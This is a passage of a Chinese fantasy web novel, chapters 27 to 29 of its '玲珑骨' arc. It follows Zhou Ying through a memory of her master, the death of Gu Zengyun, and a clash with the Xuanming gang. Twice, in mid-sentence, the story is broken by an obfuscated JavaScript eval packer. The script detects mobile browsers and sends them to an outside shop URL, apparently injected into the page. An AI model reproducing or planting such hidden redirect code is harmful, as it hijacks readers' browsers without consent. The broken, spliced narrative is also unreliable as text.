周盈想,那里应该会很暖和。又想,她要是活活冷死,然后又被吃掉,罪也要受两遍,岂不是很亏? 她又冷又饿,脑子嗡嗡嗡的,有点儿傻气。 然而,手脚却突然有了力气。 她先撑起右手,再借力爬起来,一溜烟地跑了过去,精准无比地靠在母豹子身上。 周盈蜷缩着身子,看见母豹子睁开了眼睛,正警惕地盯着她,但她再也不想动,居然就这样死皮赖脸地躺下了。 奇怪的是,母豹子眼睛虽一动不动地盯着,却没打算起身攻击她。 身子一暖,瞌睡紧跟着就来了。周盈缩缩身子,把头一埋,正要睡去,突然看见两个毛绒绒的豹子头。 小豹子的爪子往前一按一按的,嘴巴正用力吸允着,仔细一看,原来是母豹子在给它们喂奶。 周盈第一个想法是:“原来小豹子也有母亲。” 须臾,终于再次沉沉睡去。 不知过了多久,外面又灌进一阵风,周盈冷得瑟瑟发抖,下意识要去贴紧母豹子。然而,身子猝不及防落空。 紧接着,耳边忽然传来阵轰天裂地的声响。周盈骤然清醒过来,跳起一看,一片黑暗中,只见母豹子那双幽幽发光的眼盯着她,喉咙却发出低沉而痛苦的呻吟。 27. 玲珑骨(十) 周盈被它盯得心底发慌,不由得打了个冷颤。 对视两秒后,旋即大悟,它看的不是她,而是她身后、洞穴入口。 倏而一只温暖的大手猝不及防摸了摸她的脑袋,周盈回过头,两眼放光:“师父!” 炎君举着火把,火焰滋滋作响,大半火光笼罩周盈通身,却只照住他的半张脸。另外半张脸不知道是何种表情,但直觉告诉周盈,炎君不是很高兴。 炎君手牵着她,把她领到洞口。 洞口风很大,吹得周盈直打哆嗦,炎君不知道从哪里拿了件厚邦邦的棉衣披在她身上,然后从头至尾细细检查起来。 看见周盈手上还留着脏脏的血印,炎君脸色瞬间变了。他将火把递给周盈,蹲下来,轻声道:“好徒儿,你在这里乖乖等着,师父马上就回来。” 说完,转身朝洞穴走去。 母豹子剧烈的喘息声从洞里传来。 周盈看见他的背影,突然明白了什么,追上去拉住他的衣角,哇地哭出声来。 炎君身形一滞,忙回头安慰她。 周盈难得哭成这样,倒让他不知所措,粗糙的大手胡乱在她小脸乱抹,下意识要把眼泪揩干净。然而,眼泪跟断了的珠子似的,刚擦掉,热辣辣的又滚出一串,怎么擦也擦不完。这可把他吓坏了,第一反应以为周盈受了暗伤。 周盈只到他腿高,紧紧抓住他的衣角,死活不肯松手。哭得气都接不上了,断断续续嚎出句完整的话:“师父……要………要杀掉大豹子,是不是因为我不听话乱跑……那我再也不敢乱…乱跑了。” 炎君这才知道事情缘由,连忙哄道:“乖乖不哭,不哭了,我不杀大豹子。”他只觉一阵心酸,解释道,“师父杀它,不是因为你乱跑,是因为它要害你。” 周盈哭声渐缓,搂着炎君的脖子,啜泣道:“它没害我,是我自己摔的,师父不要杀它。” 炎君替她擦干净脸,连声应道:“师父不去了,走,我们回家。” 周盈这才点头。 炎君背着她往另一座山上走。 周盈哭意将将止住,眼泪鼻涕糊了一脸,尽数揩在炎君肩上。炎君一只手接着她,防止她滑下去,另一只手不知道递过来什么东西。 一股甜甜的味道溜入鼻腔,周盈取了一颗塞进嘴里, “是酸梅子。”不过,这个酸梅子不是酸的,是甜的。 “师父不是说现在没有酸梅子吗?” “树上没有,乖徒儿想吃,师父就找到了。” 周盈这才破涕为笑,又问:“师父是怎么找到我的?” 炎君从袖子里摸出团火焰,幽蓝与煞白的光纠缠在一起,颇有生生不息的势头。 炎君道:“因为师父看得见你的命火。” 周盈把手伸到炎君眼前,一张开,手心里蹿出缕一模一样的蓝色火苗。她的声音哭得有些沙哑,问:“是这个吗?” 炎君点点头。 山里很静,只有虫子的叫声,吱吱喳喳,格外响亮。 炎君走得很慢很稳,周盈趴着他背上,好一会儿都没出声。 忽然,她想起了什么,有点开心:“师父,你不在的时候,我有好好看书。” “哦?看了什么?” 周盈挠挠头,她没仔细瞧书名,只记得书上的字,便念了出来。 “人之初,性本……” “那个字我不认得。” 炎君有些意外:“是师父床头那本《三字经》吗?” 周盈点点头。 炎君念道:“人之初,性本善。性相近,□□。苟不教,性乃迁。教之道,贵以专。” 周盈瓮声瓮气道:“师父,有一个字,比人多了两点,该念什么?” 炎君脚步略微一缓,又平稳地走下去。 “养不教,父之过。教不严,师之惰。” 炎君继续念出声。 他道:“那个字念父。” 周盈歪头看他:“是师父的‘父’吗?” “不是。”炎君当即否定,顿了一下,才道,“是父亲的‘父’。” “百龄是你的母亲,母亲喜欢的人就是父亲。” 周盈似是而非点点头,又问:“那本书是母亲的?” “嗯。”炎君轻轻说了一声。 “母亲很喜欢吃鱼,对吗?” 炎君不明白她为什么这样问,但还是点了点头。又想:“百龄的忌日也没几天了,难怪这孩子三天两天就爱往水边钻。但这件事自己从未给她提及,她又是从何处得知?” 于是问道:“你怎么知道?” 周盈感觉有些累了,无精打采道:“有个故事叫‘卧冰求鲤’,故事里边的母亲很喜欢吃鱼,我想,娘也喜欢。” 她说完这句话就渐渐睡去,炎君的声音隐隐约约传来:“错了,母亲虽然想吃鱼,更心疼的却是孩子。” “没有一个母亲会舍得让自己的孩子身犯险境。” 周盈喃喃念道:“没有一个母亲会舍得让自己的孩子身犯险境。” 十多年了,这句话她一直没忘。 念完这句话,脚步忽顿,抬头一看,一座高峰拔地而起。 * 凄厉的哀嚎声很快被呜咽绵长的风声掩盖,赵瑾的步子由最开始的凌乱无序变得摇摇晃晃,再到一动不动。终于,在最后一声似忏罪的痛哭后,残损的身躯蓦然倒下。 绝望峰上,顾曾云仍在挣扎。 她医术如此高超,救过那么多人,手上的病人哪怕一只脚踏进森罗殿,她也能轻而易举把人拉回来。如今换成自己一身伤,居然无暇自顾。 顾不得胸口撕心裂肺的剧痛,顾不得毒一点点逼入心脉。因为心灵的恐惧远甚□□的疼痛,当她感觉自己的视线开始模糊,发觉孩子小小的襁褓一点点从视野消失时,理智就一点点被消磨殆尽。 每年她都会给自己的孩子做新衣衫,但孩子总是长不大。她就安慰自己,慢一点,慢一点也没关系,孩子总会长大的。 事到如今,她却懊悔自己没有提前做大一点的衣服。小孩子其实长得很快,普通人家的孩子转眼就长大,等孩子长大爹妈也就老了。 她无数次庆幸,修行之人寿命可至数百年之久,她已经陪伴了他一百多年,这一百多年已经比普通人的一生还要长得多。可到了现在,她还是嫌不够,尤其孩子的身形在视线中逐渐模糊,好像永远看不到长大的模样。 她怕了,她迫切地要抱一抱她的孩子,她需要确定孩子还在,确定他依旧安然无恙。 可她找不到孩子。 因为她的眼睛看不见任何东西,只能靠一双耳朵判断。 她的耳朵灵敏无比,什么都能听到,绝望峰顶上四季不变的狂风,鸦雀被痛击的哀嚎,唯独听不见孩子的哭声。 孩子的痛觉已经在出生时就被她封住,永远不会再因为伤痛哭泣。 忽然,远处传来阵急促的脚步。 没想到有一天十二指玉楼会找到这里,还是在这个时候。 听到一点点靠近的脚步声,顾曾云的恐惧再次被激起。 十二指玉楼不该来的。 那个叫周盈的人也不该出现的。 循着那个脚步声,她终于知道自己的孩子在哪里。 每个轻微的动弹都是撕心之痛。 但是顾曾云不能放弃,她强忍着痛苦,先一步扑到了孩子身上。 伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796360|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着数丈外周盈痛苦的一声喊叫,一阵剧痛自后心传来。 海若渊追到崖边,低头一看,绝望峰下四处茫茫,哪里还见得到偷袭之人的影子? 周盈扑到她的旁边,想把人抱起,两只手却不听使地发抖。想把人背起,两条腿凝重得怎么也迈不动。 那样近的距离,顾曾云甚至能无比清楚地感受到她的颤抖、惶恐、不知所措。 为什么? 顾曾云也想不通。 但她没机会想了。 顾曾云忽然静了下来,说:“没想到,我还是等不到。看不到他平平安安长大。” 至残至毒的玄冥指,会使人筋脉逆行。轻则修为尽废,重则祸及自身,筋脉尽断,被自身修为反噬而亡。 昨夜的毒经过赵瑾算计本已逼入心脉,再被玄冥指重创,剧毒更顺着筋脉侵遍周身,神仙难救。 周盈能听到她的声音,为她这句话心颤不已。但是她已经看不见周盈的脸,却在心里最快做出判断。 她想,这个人或许是个好人。 她抬起手,周盈不知道她想抓什么,眼见她扑了两次空,只好握着她的手。两手交接,凉意触心。濒死之人,连手也凉得可怕。 顾曾云道:“你帮帮我。” 顾曾云的眼睛已经看不到,但她知道顾奇缘就在身边。如果这里就是终点,她希望死前能给自己的孩子寻一个活命的机会。 她对着眼前的陌生人道:“我可以相信你吗?” “可以。” “可以。” 周盈不敢哭,她怕自己一哭就会听漏什么。 顾曾云紧紧握着她的手:“我说的你要好好记住。” 周盈道:“你说,你说,我都听着。” 顾曾云含混不清道:“带着他,去云顶峰。” 周盈重复:“我会带着他,去云顶峰。” 顾曾云道:“去云顶峰,找商音竹。” 周盈重复:“我会带着他,去云顶峰找商音竹。” 顾曾云听了,目不可见地点点头。 “你要小心……”顾曾云太虚弱了,一口气接不上,竟吊着说不出话。周盈压低上身,把脸贴着她,听她道,“小心……小心公室。” 周盈以为自己听错了,只是机械地小声重复:“我会小心公室。” 顾曾云笑了笑,指着不知道什么地方,说:“他的名字叫顾奇缘。” “缘分的缘。” 但这话说完完,仿佛心愿已了,她周身的气劲似乎都一下子撤走,搭着周盈的手虚虚垂下。 周盈叫了她一声。 她却不应,开始说些含糊不清的胡话。口中喃喃念着:“对不起……对不起。” “对不……起。” 泪如雨下,伴着哭腔声音也呜咽难辨,只有“对不起”这三个字如此清晰。尽管如此,周盈却不知道她究竟在说什么,“对不起”几个字又是对谁说的。 顾曾云的意识已经开始散离,依旧痴痴挂念着:“我对不起她……对不起她……” 可是周盈却以为是“他”,忙道:“你想再见见他吗?我把孩子抱过来。” 顾曾云声音一点点轻了,渐渐听不清,听不见。喃呢中隐约参杂着极其模糊的字眼:“原谅我……原……” 等周盈把孩子抱到她的面前,她已经死了。 顾奇缘睁大了眼睛,茫然地看着眼前的陌生人。顾曾云封了他全身痛觉,似乎也让他连生离死别都感受不到。 周盈抱着他,心中一片茫然。 她又想起在豹子洞穴前号啕大哭那次。 “杀了大豹子,小豹子就没有母亲了。”唯独这句话她从未对师父讲过。 28. 玲珑骨(十一) 二人匆匆赶回酒肆,费无极还活着,正死猪似地瘫倒在地。海若渊把随手顺来的酒,往那张红红绿绿的脸上一泼。 “他妈的——”费无极一个惊起,破口大骂。 “啪”周盈一个巴掌甩上去,冷冷道:“不准骂娘!” 费无极这下彻底清醒了,浑浊的眼珠子盯着二人足足转了几十遍,心尖儿颤了百十下,丑脸一挤,终于硬着头皮道:“你们……” 海若渊问:“谁派你们来的?” 费无极犹豫了两秒,又一个耳光扇过来,扇得他眼冒金星。他这下可知道厉害了,不等脑子恢复,脱口而出:“笑面书生。” 周盈道:“你们是玄冥帮的?” 费无极连忙点头。 周盈又问:“盗指玄冥呢?” 费无极愣了愣,结结巴巴道:“我……我不知道……” 抬头撞见周盈鬼一样的眼神,费无极一阵头皮发麻,急道:“我真不知道,我是上个月才进的帮,只见过笑面书生,什么事情我们全听他的,没见……见过帮……盗指玄冥。” 周盈这下明白了,罗刹海销声匿迹后,玄冥帮作恶多端遭到报复,四处流窜,却也没散伙,甚至不断吸收新成员进入。不过,进来的人参差不齐,像费无极这种小角色,只管听命办事,平日里估计连盗指玄冥的面都没见到。 但这件事情肯定与盗指玄冥脱不了关系,绝望峰暗算顾曾云之人,所用便是玄冥指。 周盈想了想,又道:“除了夺玲珑骨,笑面书生下过其他命令没?” 顾曾云死前喊她带顾奇缘去云顶峰找商音竹,多半找到商音竹就可以救孩子。如今赵瑾已死,玄冥帮和…公室虎视眈眈,她得确认是否还有人知道云顶峰和商音竹的存在。 费无极脱答得到快:“没,其他什么命令都没说。” 海若渊道:“玄冥帮其余人在什么地方?” 费无极毫不犹豫把队友卖了:“我们分散在很多地方,最近的一处叫骡马大会的集市,这次的人都是笑面书生从那里带来的。” 要去云顶峰,最快的一条路必须经过骡马大会,于是二人当即动身。 * 周盈眯眼看着散得七零八落的集市,一条四通阔道就在眼前,道上却连个鬼影都不见。 这一路上,二人一句话没说,现在停下来,视线猝不及防碰上,你看我,我看你,绿豆对王八,格外尴尬。 其实周盈几次想开口,但碍于种种疑问与忌惮,便一直憋着不说。 顾曾云死前让她小心公室,就说明赵瑾与公室脱不了关系。赵瑾是一百多年前跟在顾曾云身边,这么长的时间,是只狗也喂熟了,可惜赵瑾比畜生还不如。 而一百一十九年前……这个时间太过于敏感。 朱明公室是一百一十九年前掌权,明师与海若渊也是一百一十九年前以外姓身份拿着七段金枝留在十里槛。 她疑神疑鬼,把整个公室都怀疑了遍。 但一路细想,又觉得不对,海若渊的嫌疑反而不大。 因为玲珑骨所牵扯的极为隐秘,顾曾云警惕心又极重,赵瑾跟在她身边这么多年,愣是一句话没套出。海若渊如果真和赵瑾蛇鼠一窝,赵瑾根本不可能在茶酒里下药,故意激起他们和顾曾云矛盾,好让顾曾云提前提防。 而且,如果他真的打算下手,便不可能带自己来碍手碍脚。 想清楚这点,好似有块石头落地,周盈不自觉松了口气。 不过,有个疑问始终挥之不去。 周盈心里是藏不住事的,排除了海若渊的嫌疑,便直白道:“你是怎么知道阎王刺会出现在酒肆?” 海若渊此时正坐在马背上,微微偏过头,暗似深渊的眼睛一动不动盯着她看了半晌。 周盈道:“我脸上又没答案,你看我干嘛?” 于是,只见海若渊从阿金背的布袋里边摸出本书,修长手指一阵翻动,使得五百多页厚的书准确无误地在第六十五页停下。然后把它递到周盈面前,说:“上面写的。” 崭新无比的白纸黑字上,有几个小字格外刺眼:阎王刺在麦城郊外酒肆。 又是玉京子! 周盈第一反应就是这个。 玉京子死而复生,死性不改,不仅把《神机会元》四处传播,甚至还借着这本书故意泄漏阎王刺的消息。只是……这回显然是奔着顾曾云来的。 然后,猛一对视。 刹那间,周盈明白海若渊那个眼神是什么意思。 脱口而出:“我怎么知道,这书我又没……” 咬着舌头,生生把即将破口而出的“没见过”三字吞了回去。 没错,她见过,只是没料到一本书更新迭代的速度如此之快。 她见过的那本,几十年前便在市井流传,而就在短短几日,居然更了两个版本。 每一次更迭,必然有新的阎王刺出现。 她莫名有些懊恼,憋了好一会儿,待莫名其妙的怨气又莫名其妙被压制下去,才一声不响地把书丢给海若渊。 半天瞧不见玄冥帮的影子,想了想,她忽道:“先找地方吃东西。” 海若渊奇怪无比地看着她。 又是这种眼神。 周盈无语道:“我也是人,不吃还是会饿死的。” “而且就算我们不吃,他也要吃。” 说着,目光又落回到顾奇缘身上。这孩子正睁着一双大眼看着她。他们马不停蹄赶了半日路,竟然忘了喂他吃饭。 现在想起来,自然把它当作头等大事。 问题是,这么点儿大的孩子吃些什么? 何况顾奇缘出生数十年,因为玲珑骨一直都保持着刚出生的模样,身体更因此重新生长,早已经与普通孩子不同。但是究竟不同在何处,一时间谁也摸不准。 不过,是人便要食五谷,这总是不会出错的。 周盈吆喝着万两:“走,看看去。” 日上中天,骡马大会却透出股瘆人冷气。秋风乍起,吹得铺子的布帘子乱飞,稍走近些,他们才发现眼前的食馆清一色都已经闭门打烊。 周盈不由得皱眉道:“怎么没见人了?” 说着,上前要去扣门。 海若渊见事情有异,阻止了她:“别动,我去。” 周盈退到一边,看着海若渊扣响了门。 “有人吗?” 海若渊又敲了两下,还是没人应,周盈惊讶地看了他一眼,心道:“莫非都被玄冥帮吓跑了?” 他们只好又去敲其他家的门,一连敲了四五家,皆听不到应答之声。 周盈越发觉得奇怪,正要开口说些什么,只听一阵马蹄响声自远处传来,急落的蹄声像一串火爆的炮仗,瞬间惊破四方。 远处街头,一个身影匆忙走来。那人披着粗麻的大破斗篷,一张脸被破帽严严实实遮住,看不清长相。衣衫破破烂烂,瞧着像乞丐。 马蹄声越加急促。万两像是感应到什么,不安地低鸣着。 一个粗蛮声音自那人身后高高传来:“看你还能往哪里去!” 周盈正想看个究竟,身后店门啪地一声打开,又豁地关上。再回过神,整个人已经被人拽进店中。 紧接着,一个声音道,“臭小子,怎么是你!” 一双冲天怒眉映入眼帘,周盈脱口而出道:“眉兄!” 对面的人一愣,拱手道:“向愁眉。” 原来这人竟是那日在九江驿遇到的暴脾气刀者,当时与他同行的有三人,现在其他两人却不知道去了哪里。 那日周盈在店里枯等,无事偷听墙脚,却被人逮了个正着。当时情景可以说是尴尬至极,没想到今天又在这里遇到。幸好向愁眉神色平和,倒也不似当时急眉怒眼。 周盈知他不再挂意九江驿的尴尬事,自报了姓名,继续攀谈:“眉兄,你为何拉我进来?” 向愁眉做了个噤声的动作,往外面一指。 周盈回头一看,海若渊正扒在门上偷看呢。她觉得奇怪,便跟着凑上去瞧了瞧。 刚才那阵马蹄声已经踏到门外,食馆外面聚了二三十人,均骑着高头大马。为首一人面色发黄,唇色乌紫,浑身匪气。 他一脸凶狠,扯着马鞭骂道:“臭要饭的,老子如今活得好好的,你还敢咒我死。” 背后同伙迭起一阵肆无忌惮的狂笑,面带戏谑,一副看戏的模样。 面对这蛮横无理的二十多人,“乞丐”却丝毫不见畏缩,依旧苦劝:“若你及时收手,生路自开。” 那人听了怒上心头,面色狰狞道:“我让你再说!” “哼,来人,给我割了他的舌头。” 说罢,身后两人下了马就要抓住“乞丐”。 “乞丐”无傍身之物,行凶之人却个个刀棍在身。 没想到还有人光天化日这样恃武行恶,手段又如此残恶。周盈看在眼里,心上十分不畅快,又想起玄冥帮老巢就在这里,越想越不痛快。 正要出手阻止,海若渊却已经窜了出去。并且身似一阵风似的,又轻飘飘地把门给稍带上了。 周盈再想跟出去,向愁眉连忙拉住了她:“周兄弟,你可不要冲动。” 说完,又愤愤不平道:“玄冥帮这群狗日的,一会儿有他们苦头吃的。” 周盈想起他们那日正要去公室告状,如今海若渊就出现在这里,暗暗奇道:“这未免太巧了。” 想起刚才发生的一幕,指着为首一人,问:“刚才那人是谁?” “霍安。”向愁眉恨恨道,“没了盗指玄冥,不过一群疯狗。” 听到盗指玄冥四个字,周盈脸色微变。 向愁眉察觉到她神色有异,要伸手搭上她肩膀,却发现身高有些尴尬,想握手,又发现周盈双手抱着孩子。于是动情道:“兄弟,你今日来此,也是为了讨仇?” 周盈道:“我找盗指玄冥。” 向愁眉一脸震惊:“盗指玄冥,你怎惹上他了?” 盗指玄冥早在恶鬼劫难之前,就已经随着罗刹海销声匿迹。一百年来,是死是活都没个消息,没想到还有人找他讨仇。 周盈不想牵扯出玲珑骨的事情,只道:“说来话长。眉兄,不知你与他们有什么过节?” “岂止过节!” 一提起玄冥帮,向愁眉怒由心起,把缘由都倒了个干净。 “月前,我与兄弟二人来此地交易马匹,我路上有事拖累,便来迟了半日。没想到这群畜生见财生了贼心,竟横刀夺马,我那兄弟气不过,自然要与他争执。” “这群狗东西没理也要横三分,仗着人多势众砍下我兄弟一只手臂。”他越说越怒,咬牙切齿道,“我真恨不得挖那贼眼,掊开贼肚,看看是怎样一看贼心,竟生得如此恶毒!” 周盈记得那日在九江驿,与他同桌的确有这样一人。那日满脸青紫,手的确少了一只。没想到转来转去,居然与玄冥帮脱不开关系。 向愁眉滔滔不绝说着,似乎想起了什么,话意一顿,随即躬下身子,郑重地抱礼道:“那日是我一时气急,唐突了兄弟,请你莫怪。” 那日也不算冤枉,周盈连忙扶起他:“本就怪我冒昧,眉兄不必自责。” 又道:“眉兄,你说找人帮忙,找的是公室之人?” 向愁眉一脸愤愤不平:“不错,这事我已经禀告公室,今日便会派人来修理他们。” 话毕,又往外面瞧一眼:“只是怎不见人来?” 事关盗指玄冥,又牵扯到罗刹海,明师既忙着坐镇十里槛,这件事想必是交给了海若渊。周盈正要开口说明,向愁眉又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796361|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“刚才与你同行那人是谁,当时在店中怎没见过?” 周盈淡淡道:“海若渊。” 向愁眉:“……!” 二人连忙凑上去瞧,刚一接近门,一团黑影迎面扑来。周盈被砸得晕头转向,暗骂一声海若渊,又连忙把人接住。 屋子里三人你撞我,我撞你,终于勉强站定。突然,又自外面扫来一阵风,啪地一声,门紧紧摔上。 周盈连忙查看怀里的顾奇缘,孩子睁着澄澈明亮的大眼睛,与她默默对视。 所幸,没惊到孩子。 周盈这才抬头,细细打量眼前之人。 来的是“乞丐”,打扮十分怪异。 身形佝偻,形容沧桑,身披破衣,头披破衫,一张脸被遮得严严实实的。一串两指粗的念珠从脖子一直缠到手腕,尾端坠了个铃铛。铃铛动而无声,此时正被他捏在手上。 周盈与向愁眉看他这幅模样,不由得吃了一惊。 他始终低着头,含混的嗓音道:“擅罪者,为三位请卦。” 原来不是乞人,是个算命先生。 周盈视线又落回怀中,顾奇缘一直没睡,这时正看着擅罪者,似乎也被他的话勾起了好奇心。说是三位,那么,必定把他也算上了。 向愁眉当即退到一边,摆摆手:“我从来不信这个。” 周盈心生好奇,瞟了一眼外面的海若渊道,手一指:“先生,你看看他是什么来历?” 此时门外传来些微响动,显然,海若渊已经与玄冥帮起了冲突。 擅罪者道:“擅罪者不批来历。” 向愁眉一听他说这句话,面露鄙夷,恐是批不出吧。 周盈又道:“既不批来历,那你看看他的未来。” 擅罪者却道:“没有来历又何谈未来。” 头上破布把他的神态遮得不露一丝余光,让人看不出端倪。 周盈道:“那你能批什么?” 擅罪者说了两个字:“生死。” 周盈道:“那就请你为他算一算,这次他能不能死里逃生。” 擅罪者道:“我看不见。” 向愁眉翻了个白眼。 周盈指了指怀中的顾奇缘,顾曾云这生来命运多舛的孩子,问:“先生瞧瞧他。” 擅罪者装神弄鬼地瞟了一眼,又极快移开眼神,徐徐道:“若我看得不错,你与他非亲非故,而这孩子的母亲已经为他赔了性命。” 周盈心上一惊。 向愁眉出口讽刺道:“听你说的什么屁话,他这般样貌,怎可能是这孩子的父亲。” 又说:“周兄弟,你别听说他的鬼话,这些江湖骗子昧着良心不就是为了几两银钱,开口就是生啊死啊,我全当放屁!” 周盈苦笑道:“眉兄,这孩子的母亲已经死于奸人之手。” 向愁眉讷讷道:“莫不是…” 周盈道:“盗指玄冥。” 话毕,擅罪者松开了手上攥着的念珠子,缓缓转身,推开食馆大门。 门哑然一开,一道天光倏忽映在顾奇缘面上,照着稚嫩的面庞,晶莹可爱。然而随着再次关上的门扉,光线一点点收拢,顾奇缘黑葡萄似的眼珠忽然掉出一滴眼泪。 没料到他突然离开,周盈与向愁眉纷纷冲窗子外望去。 不知为何,海若渊既没表露身份,更没透露修为,反而就这么与玄冥帮众对峙着。突然听见哗然一声响,众人纷纷回头。 霍安眼珠子一转,跟狗见了骨头似的,嗅着味道,甩着脑袋,就要驱马去追。 海若渊把他拦住,笑道:“骡马大会已经散了,几位要买卖,可是不嫌晚了。” 霍安被他拦住,居然脱不开身,就这么眼睁睁看着擅罪者一步步远离了骡马大会。回过神来,怒由心生,爆了粗口:“小子,狗眼看看清楚,大爷要的,还用买?”一边说,一边拍着腰间大刀。背后的玄冥帮众跟着发出轻蔑的嗤笑声。 说着,瞟了一眼万两,直接越过了。眼睛直溜溜盯着阿金,道:“这马不错,我要了。” “哦,不买不卖,伸手就要,你是玄冥帮众。” “算你识相。”他眼神转到海若渊腰间,见腰间挂了把黑刀,指了指。趾高气昂道,“这刀也要了。” 海若渊顿了一下,忽道:“不给。” 霍安气得脸都绿了,看了看左右,忽然哈哈一笑:“小子,报上名号,大爷掂量掂量你有几斤重。” 海若渊亦灿然一笑:“周盈。” 呸!周盈翻了个白眼。 霍安嗤笑一声:“无名小辈。” 周盈脸由白转红。 海若渊双手一摊,笑道:“贱名不足挂齿。”从未见他如此谦虚,周盈再一次觉得这张脸果真是面目可憎。 霍安眼色一转,露出两束精光:“兄弟们,这店里还有人,把他们抓出来。” 那些人闻声而动,纷纷下马,正欲往食馆围去。 突然,海若渊笑了两声。 众人不由得纷纷回头去看他。 海若渊脸上笑容瞬间一扫而空,双眼沉如死水,冷幽幽地吓人。当然周盈是看不见的,她只听那声音清朗冷酷,自外由内传来,一个字一个字地说得极为清楚:“恶人不见得都有恶报对吧,比如你们这种渣滓,不就好端端苟活至今。既然贪生怕死,那就稍微有点眼色,趁别人还有耐心好好问话,就好好回答,总比得罪了人,怎么死的都不知道。” 话毕,腰间黑刀骤然出鞘。 霍安猝然一惊,大呵一声:“站住。” 周盈为他们默哀。 海若渊却不停步,一步一步逼近。变了声色,一字一字道:“既称玄冥帮,敢问盗指玄冥在何处?” 听到“盗指玄冥”四字,霍安张狂的脸刷地变了色。 29. 玲珑骨(十二) “盗指玄冥”四字如平地惊雷,震得玄冥帮众瞬间鸦雀无声。霍安反应尤甚,脸色阵阵煞白,神色惊错不已,那模样如同大白天活见鬼。 周盈心道:“盗指玄冥脾气好像不太好,一个两个的,简直惧他如虎。” 此念方落,忽起一阵马蹄疾响。 海若渊已轻飘飘翻身上马,冲大街另一头,扬长而去。 霍安瞬间反应过来:“你敢诈我!” 大怒之下,当即吆喝玄冥帮众追赶而去。 周盈被这个意外的举动搞得一头雾水,盗指玄冥不在,教训玄冥帮众对海若渊来说只是举手之劳,根本不费吹灰之力,为何要策马潜逃? 向愁眉本是急性子,想也不想,破门而出:“不好了,我们快追。” 傻万两还在门外傻等着,周盈走上去拍了它一下:“这不,饭还没捞着吃就要走了。” 向愁眉大喜:“周兄弟,骑马快些,想必还追得上!” 路上。 向愁眉坐在马上,回身一看,周盈抱着个孩子居然还能跑得这样快,甚至气都不喘一下,惊道:“周兄弟,好功夫!” 周盈微微抬头,冲他一笑:“没什么,自小跑得快。” 骡马大会座落在四通大道上,周盈与向愁眉追寻迹追去,沿着大路一口气跑了七八里,看着马蹄痕迹渐渐淡了,最后消失在山前。 周盈脚步一停。 向愁眉连忙打住缰绳,问道:“周兄弟,怎么了?” 周盈目不转睛盯着眼前的荒山,道:“他们好像不是进山。山前没有马蹄印子,山上地势虽然还算平坦,但山高林密,却不适宜马匹行走。” 向愁眉一拍脑袋:“他们都骑着马,断断不会往山里走。” 可是面前只有这座山,要是他们不上山,又能去哪里?周盈四面打量一番,她对这里的地形并不熟悉,对方手脚很快,找起来只怕要费一番功夫。 想罢,更觉奇怪,海若渊无缘无故又搞什么鬼? 她绕着山走了几步,又停下来,然后拿剑轻轻在地上一拨。剑落一瞬,面前的高山瞬间后退数百米,平地上随着现出了马蹄印。密密麻麻,排布十分有序,蹄印指向都是朝着山口。 向愁眉看见面前巨大的山体像长了腿一样,瞬间移了数百米,惊道:“这…这……” 周盈看出端倪,提醒道:“眉兄,退后一点。” 说着,顺势向后退去两步,对着那座山隔空打了一掌。 山体受掌气波动,剧烈地抖动了两下,活像蹩脚的舞蹈,只是僵硬的摆弄着。随着山体的摆动,整座山发出沙沙声,无数呜咽声充斥耳畔。向愁眉觉得耳膜一阵刺痛,连忙捂住了耳朵。 奇怪的响动足足持续了一分钟,随着山体异动停止,刺耳的声音也戛然而止。 刚刚周盈发出的掌气却像被山体吸收了一样。 向愁眉震惊道:“这山成精了!” 会跑,会化招,可不是成精了。 周盈盯着刚刚掌气走向,心上了然:“有鬼的不是山,是人。” 刚刚那一掌只用了一成力,威力极小,却结结实实打在山壁之上,因此掌力落处必然受到掌气波及。可事实是,山体全然不受损,发出去的掌劲掷地无声,乍一看像被什么东西吞噬。 周盈回头叮嘱:“眉兄,抓紧了。” 说罢,她突然拽住向愁眉左臂,不顾一切冲向了山壁。 向愁眉还没反应过来,只觉脚下一空,便被周盈拽离了地面。巨大的山体迎面而来,眼前一黑,忍不住惊出声。 过了一会儿,感觉肩膀被拍了拍,才大着胆子睁开眼睛。 想象中脑浆四溅,当场惨死的景象没有发生。双眼睁开时,只觉拨云见雾,眼前一片开明。 低头一看,两人双脚均稳稳落在山顶。 向愁眉刚缓过神,缓缓舒出一口气,猛一抬头,脸色又是一白。 周围幽谷空悬,脚底下遍布浓雾。 然而,在那朦朦胧胧的迷雾中,又似有腥风阵阵,争先恐后扑进鼻腔。 仔细一看,四周山壁竟挂满了可怖的血迹。鲜血黏黏腻腻,上面还参杂着粗短的硬毛,令人作呕。 原来外面的山是个障眼法,真正的山应该在数百米之外。周盈一剑便试出这山的真正位置。凭那一掌又探出这“山”背后别有洞天。马蹄痕迹既然指向同一处,她便拉着向愁眉一探究竟。 只是,二人都没想到里面会是这副景象。 那些追赶的玄冥帮众要是不及时勒马,可不是人仰马翻这么简单了。 向愁眉缓过神,道:“人不会都死了吧?” 玄冥帮众作恶多端,死了也是罪有应得,而且这种死法又让人无法觉察到是公室出手。只是,周盈不得不承认:“死的是马,人应该还活着。” “还活着?”向愁眉差点儿吓死。 周盈点点头:“坡度缓,及时弃马,死不了。” 公室费心引玄冥帮众过来,又利用地形故意废去脚力,能杀而不杀,如此曲折,恐怕明师与海若渊的盘算不会简单。 想了想,提议道:“眉兄,我们下去看看。” 